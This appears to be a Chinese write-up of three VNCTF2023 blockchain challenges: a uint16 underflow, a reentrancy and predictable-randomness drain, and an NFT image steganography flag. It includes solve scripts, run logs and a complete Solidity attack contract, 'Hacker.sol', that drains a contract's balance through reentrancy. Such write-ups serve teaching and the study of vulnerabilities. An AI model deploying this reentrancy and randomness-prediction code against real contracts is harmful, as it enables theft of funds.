本题考察选手基本的以太坊同构链
智能合约交互操作以及对整型溢出漏洞
的大致理解。
根据isSolved
函数我们可以得知,需要使得welcomeMessage
与year
这两个变量相连接得到的字符串为Welcome to VNCTF2023
才能达到解出条件。
已知solidity
编译器版本号为0.4.23
,存在整型溢出漏洞,且通过setMsg
函数可将year
变量设置为2022-x
,按照常规输入无法让它等于我们所期望的值2023
,但注意到其变量类型为uint16
,即可以表示的整数范围为[0-2^16]:[0-65535]
。
通过利用整型溢出漏洞
,不难证明我们计算2022-65536
后依旧会得到值2022
,因此我们只需传入_newyear
为整型65535
,传入_welcomeMessage
为字符串Welcome to VNCTF
,即可解出题目。
链上交互脚本solve.py
:
from Poseidon.Blockchain import * # https://github.com/B1ue1nWh1te/Poseidon
import requests
import time
'''
[+] token: v4.local.U858yETbro8kRsSUiHDzTB9C6f8PUvixQ14x20jDNbHUUX80_wsUKdjVEuDhuJoeaP-A76frtfEuJqmNo0HHGVOAWafo2sdaOOoiHL7VW98GNcx1Kv3AZiEGXhtxHrk0rDr1jXsEKHfB_3W9gqlWg47lRsQzLipxeNOxAGWnTfT7mA
[+] contract address: 0x735A41BcEbdE72BD280Aebf48d817A9BdA982b40
[+] flag: flag{2a7acb80-e2d6-4698-b33e-7833a4f7564c}
'''
# 连接至链
chain = Chain("http://1.14.72.170:8545")
# 创建新账户
AccountAddress, AccountPrivateKey = BlockchainUtils.CreateNewAccount()
# 领取测试币
assert (requests.post("http://1.14.72.170:8080/api/claim", data={"address": AccountAddress}).status_code == 200)
# 等待一段时间以便测试币发放得到区块确认
time.sleep(15)
# 导入账户
account = Account(chain, AccountPrivateKey)
# 选择 Solidity 版本
BlockchainUtils.SwitchSolidityVersion("0.4.23")
# 编译题目合约
abi, bytecode = BlockchainUtils.Compile("challenge.sol", "Checkin")
# 实例化题目合约
contractAddress = "0x735A41BcEbdE72BD280Aebf48d817A9BdA982b40"
contract = Contract(account, contractAddress, abi)
# 解题
contract.CallFunction("setMsg", "Welcome to VNCTF", 65535)
# 查看解出状态
contract.ReadOnlyCallFunction("isSolved")
运行日志:
2023-02-18 13:42:24.899 | SUCCESS | Poseidon.Blockchain:__init__:37 -
[Chain][Connect]Successfully connected to [http://1.14.72.170:8545]. [Delay] 52 ms
2023-02-18 13:42:25.005 | SUCCESS | Poseidon.Blockchain:GetBasicInformation:55 -
[Chain][GetBasicInformation]
[ChainId]45267
[BlockNumber]11109
[GasPrice]1 Gwei
[ClientVersion]Geth/v1.10.17-stable-25c9b49f/linux-amd64/go1.18
2023-02-18 13:42:25.021 | SUCCESS | Poseidon.Blockchain:CreateNewAccount:705 -
[BlockchainUtils][CreateNewAccount]
[Address]0x59069B70e3A972eDd4c3e3cA7c00EE4A49407dE7
[PrivateKey]0x1dfac44ce0d06e9cb52fb25cff769eb7ca8eb9257940142207b76a2e736e24bb
2023-02-18 13:42:35.100 | SUCCESS | Poseidon.Blockchain:__init__:230 -
[Account][Import]Successfully import account [0x59069B70e3A972eDd4c3e3cA7c00EE4A49407dE7].
2023-02-18 13:42:35.133 | SUCCESS | Poseidon.Blockchain:GetBalance:108 -
[Chain][GetBalance][0x59069B70e3A972eDd4c3e3cA7c00EE4A49407dE7]
[1000000000000000000 Wei]<=>[1 Ether]
信息: 用提供的模式无法找到文件。
2023-02-18 13:42:35.269 | SUCCESS | Poseidon.Blockchain:SwitchSolidityVersion:657 -
[BlockchainUtils][SwitchSolidityVersion]Current Version: 0.4.23
2023-02-18 13:42:35.324 | SUCCESS | Poseidon.Blockchain:Compile:687 -
[BlockchainUtils][Compile]
[FileCourse]challenge.sol
[ContractName]Checkin
[ABI][{'constant': True, 'inputs': [], 'name': 'isSolved', 'outputs': [{'name': '', 'type': 'bool'}], 'payable': False, 'stateMutability': 'view', 'type': 'function'}, {'constant': True, 'inputs': [], 'name': 'welcomeMessage', 'outputs': [{'name': '', 'type': 'string'}], 'payable': False, 'stateMutability': 'view', 'type': 'function'}, {'constant': True, 'inputs': [], 'name': 'year', 'outputs': [{'name': '', 'type': 'uint16'}], 'payable': False, 'stateMutability': 'view', 'type': 'function'}, {'constant': False, 'inputs': [{'name': '_welcomeMessage', 'type': 'string'}, {'name': '_newyear', 'type': 'uint16'}], 'name': 'setMsg', 'outputs': [], 'payable': False, 'stateMutability': 'nonpayable', 'type': 'function'}, {'inputs': [{'name': '_mssg', 'type': 'string'}], 'payable': False, 'stateMutability': 'nonpayable', 'type': 'constructor'}]
[Bytecode]608060405234801561001057600080fd5b50604051610a35380380610a3583398101806040528101908080518201929190505050806000908051906020019061004992919061006f565b506107e6600160006101000a81548161ffff021916908361ffff16021790555050610114565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106100b057805160ff19168380011785556100de565b828001600101855582156100de579182015b828111156100dd5782518255916020019190600101906100c2565b5b5090506100eb91906100ef565b5090565b61011191905b8082111561010d5760008160009055506001016100f5565b5090565b90565b610912806101236000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806364d98f6e14610067578063b195c90214610096578063f326971614610126578063fa65d29814610159575b600080fd5b34801561007357600080fd5b5061007c6101d0565b604051808215151515815260200191505060405180910390f35b3480156100a257600080fd5b506100ab610416565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100eb5780820151818401526020810190506100d0565b50505050905090810190601f1680156101185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013257600080fd5b5061013b6104b4565b604051808261ffff1661ffff16815260200191505060405180910390f35b34801561016557600080fd5b506101ce600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803561ffff1690602001909291905050506104c8565b005b6000606061029460008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561026d5780601f106102425761010080835404028352916020019161026d565b820191906000526020600020905b81548152906001019060200180831161025057829003601f168201915b505050505061028f600160009054906101000a900461ffff1661ffff16610512565b610670565b9050806040516020018082805190602001908083835b6020831015156102cf57805182526020820191506020810190506020830392506102aa565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b6020831015156103385780518252602082019150602081019050602083039250610313565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191660405160200180807f57656c636f6d6520746f20564e4354463230323300000000000000000000000081525060140190506040516020818303038152906040526040518082805190602001908083835b6020831015156103de57805182526020820191506020810190506020830392506103b9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019161491505090565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ac5780601f10610481576101008083540402835291602001916104ac565b820191906000526020600020905b81548152906001019060200180831161048f57829003601f168201915b505050505081565b600160009054906101000a900461ffff1681565b81600090805190602001906104de929190610841565b5080600160009054906101000a900461ffff1603600160006101000a81548161ffff021916908361ffff1602179055505050565b60606000806000606060008694506000851415610566576040805190810160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509550610666565b8493505b600084141515610590578280600101935050600a8481151561058857fe5b04935061056a565b826040519080825280601f01601f1916602001820160405280156105c35781602001602082028038833980820191505090505b5091506001830390505b60008514151561066257600a858115156105e357fe5b066030017f01000000000000000000000000000000000000000000000000000000000000000282828060019003935081518110151561061e57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8581151561065a57fe5b0494506105cd565b8195505b5050505050919050565b606080606080606060008088955087945084518651016040519080825280601f01601f1916602001820160405280156106b85781602001602082028038833980820191505090505b50935083925060009150600090505b855181101561077a5785818151811015156106de57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002838380600101945081518110151561073d57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080806001019150506106c7565b600090505b845181101561083257848181518110151561079657fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f01000000000000000000000000000000000000000000000000000000000000000283838060010194508151811015156107f557fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350808060010191505061077f565b83965050505050505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061088257805160ff19168380011785556108b0565b828001600101855582156108b0579182015b828111156108af578251825591602001919060010190610894565b5b5090506108bd91906108c1565b5090565b6108e391905b808211156108df5760008160009055506001016108c7565b5090565b905600a165627a7a7230582093ac2abc3e7e03b0ee84e848110a89210fa42b0a6db771b323d2be285000f6290029
2023-02-18 13:42:35.337 | SUCCESS | Poseidon.Blockchain:__init__:559 -
[Contract][Instantiate]Successfully instantiated contract [0x735A41BcEbdE72BD280Aebf48d817A9BdA982b40].
2023-02-18 13:42:35.424 | INFO | Poseidon.Blockchain:CallFunction:577 -
[Contract][CallFunction]
[ContractAddress]0x735A41BcEbdE72BD280Aebf48d817A9BdA982b40
[Function]setMsg('Welcome to VNCTF', 65535)
2023-02-18 13:42:35.516 | INFO | Poseidon.Blockchain:SendTransaction:323 -
[Account][SendTransaction][Traditional]
[TransactionHash]0xbe6485ebe51bdf2474fde49c7bb864970ec5109edce0af607be93c14cdea7f0d
[Txn]{
"chainId": 45267,
"from": "0x59069B70e3A972eDd4c3e3cA7c00EE4A49407dE7",
"to": "0x735A41BcEbdE72BD280Aebf48d817A9BdA982b40",
"nonce": 0,
"value": 0,
"gasPrice": "1 Gwei",
"gas": 35051,
"data": "0xfa65d2980000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000ffff000000000000000000000000000000000000000000000000000000000000001057656c636f6d6520746f20564e43544600000000000000000000000000000000"
}
2023-02-18 13:42:49.358 | SUCCESS | Poseidon.Blockchain:SendTransaction:330 -
[Account][SendTransaction][Traditional][Success]
[TransactionHash]0xbe6485ebe51bdf2474fde49c7bb864970ec5109edce0af607be93c14cdea7f0d
[BlockNumber]11111
[From]0x59069B70e3A972eDd4c3e3cA7c00EE4A49407dE7
[To]0x735A41BcEbdE72BD280Aebf48d817A9BdA982b40
[Value]0 [GasUsed]35051
[Data]0xfa65d2980000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000ffff000000000000000000000000000000000000000000000000000000000000001057656c636f6d6520746f20564e43544600000000000000000000000000000000
[Logs][]
2023-02-18 13:42:49.414 | SUCCESS | Poseidon.Blockchain:ReadOnlyCallFunction:612 -
[Contract][ReadOnlyCallFunction]
[ContractAddress]0x735A41BcEbdE72BD280Aebf48d817A9BdA982b40
[Function]isSolved()
[Result]True
本题考察Solidity
智能合约随机数预测漏洞
和重入攻击漏洞
。值得吐槽的一点是解这道题至少需要领取5+3+1=9
个testETH
,而每分钟只能领取1 testETH
,因此解出这题至少需要花费9
分钟的时间,我表示十分的不理解。
根据isSolved
函数可知,我们需要将题目合约中的网络原生代币
(类似ETH)余额清空,在合约部署时传入余额为5 testETH
。
其中guess
函数为竞猜功能,每次需要支付1 testETH
;revealResult
函数为开奖功能,竞猜结果的值来自于RandomCoin
函数根据链上公共变量生成,因此存在随机数预测漏洞
,这为我们提供了操作空间。
在链上要想获得真正的随机数是一件十分困难的事情(可以使用预言机,如ChainLink,但过程也并不简便),以太坊区块链上的所有交易都是确定性的状态转换操作,每笔交易都会改变以太坊生态系统的全球状态,并且这是以一种可计算的方式进行,这意味着它没有任何的不确定性。更一般地说,在区块链生态系统内,不存在熵或随机性的来源。
如果使用可以被矿工所控制的变量,或是任何人都可以用同样方式获取的变量,如区块哈希值,时间戳,区块高低或是Gas上限等作为随机数的熵源,产生的随机数并不安全,因为其他人可以根据同样的方法生成所谓的随机但早已被确定的数,从而攻击那些不安全的合约。
当PlayerWins[_to] >= 3
即我们已经猜对至少3
次后就可以通过withdrawMoney
函数撤回我们的资金了(因此我们在部署攻击合约时需要传入3 testETH
),并且withdrawFirstWin
函数可以让我们多获得1 testETH
的奖励。
注意到GetMoney[msg.sender] = true;
是在withdrawMoney(msg.sender);
之后执行的,前面的require(!GetMoney[msg.sender]);
检查可以长期满足,因此存在重入攻击漏洞
。
在sendValue
函数中,发送资金是通过address.call("")
实现的,并且允许该账户为合约账户,我们可以通过部署攻击合约在接收testETH
时触发receive
函数执行重入回调,清空题目合约的testETH
余额。
由于我们第一次执行withdrawFirstWin
函数时已经撤回了3+1=4
个testETH
,此时题目合约中还剩下5+3-4=4
个testETH
,因此在receive
函数中只需重入4
次即可。
攻击合约Hacker.sol
:
pragma solidity ^0.8.7;
import "./challenge.sol";
contract Hacker {
GuessGame challenge;
uint8 count = 0;
constructor(address payable _addr) payable {
challenge = GuessGame(_addr);
}
receive() external payable {
if (count < 4) {
count++;
challenge.withdrawFirstWin();
}
}
function RandomCoin() private view returns (uint256) {
return
uint256(keccak256(abi.encodePacked(block.timestamp ^ 0x1234567))) %
2;
}
function hack() public payable {
for (uint256 i = 0; i < 3; i++) {
challenge.guess{value: 1 ether}(RandomCoin());
challenge.revealResult();
}
challenge.withdrawFirstWin();
}
function isSolved() public view returns (bool) {
return challenge.isSolved();
}
function burn() public {
selfdestruct(payable(msg.sender));
}
}
链上交互脚本solve.py
:
from Poseidon.Blockchain import * # https://github.com/B1ue1nWh1te/Poseidon
import requests
import time
'''
[+] token: v4.local.l1rq9qguc2ISECen4Lv_1FCoJvq41Yk0kzGglIACj0IduS_Ug_tBE1HeqjMdo125uMDnCJN8GtrYGWGTCeT7_rpdsMn21nIlQL61VOf24WQq2IeJm7sfBkcCS80O67wohs5TnygT8L7-l6MF_CUEORnjTbHyQiD12s8dJHceK6rvGA
[+] contract address: 0xE1AB5AD932a8f7835e99B44C8f3Fc54D93308575
[+] flag: flag{16f8ddb9-ff37-4014-a1ad-e02dafa1c596}
'''
# 连接至链
chain = Chain("http://162.14.80.206:8545")
# 查看题目合约初始余额
challengeAddress = "0xE1AB5AD932a8f7835e99B44C8f3Fc54D93308575"
chain.GetBalance(challengeAddress)
# 导入账户
account = Account(chain, "<PrivateKey>")
# 编译攻击合约
abi, bytecode = BlockchainUtils.Compile("Hacker.sol", "Hacker")
# 部署攻击合约
hacker = account.DeployContract(abi, bytecode, Web3.toWei(3, "ether"), challengeAddress)["Contract"]
# 开始攻击
hacker.CallFunction("hack")
# 查看解出状态
chain.GetBalance(challengeAddress)
hacker.ReadOnlyCallFunction("isSolved")
hacker.CallFunction("burn")
(运行日志忘记保存了)
本题考察选手的底裤看穿能力
。
访问题给链接,发现是一个基于Blockscout搭建的以太坊同构私链区块浏览器。题目描述给出了一个合约地址,且合约代码没有开源,原先应该是希望选手通过逆向bytecode
来解题的,但是作为一道区块链题目既然给出了浏览器,就要有被看穿底裤的勇气,我们直接采取最优路径解题(提示有无并不影响解题)。要看的地方只有一个,已验证开源的合约
。
发现只有两项数据,一番浏览后发现VNCTF2023
合约为ERC-20
代币合约,与解题似乎无关。但在VNCTF
合约中发现两个SafeMint
,生成了2
个NFT
。
分别查看其内容,得到两个外部图片引用链接。
链接1:http://www.snowywar.top/wp-content/uploads/2021/05/3666.png
链接2:https://gateway.pinata.cloud/ipfs/QmUrynCwtXnbsAeFT5LJQKrt4KeFYaoztwKWBuGkg5rad4
访问链接后得到两张图片(我此处放的是手动截图,源文件请自行访问链接或通过上面题目描述中给出的结果附件
进行下载)。
第一张图是雪殇姐博客的Logo
,排除flag
嫌疑,直接看第二张图(它存放在去中心化云存储系统IPFS)。
拖进Stegosolve
查看没有发现异常隐写内容,直接用zsteg
一把梭,贯彻落实底裤看穿
精神,瞬间得到flag{Y0u_@re_Th3_mAsteR_0f_the_metAv3rse}
。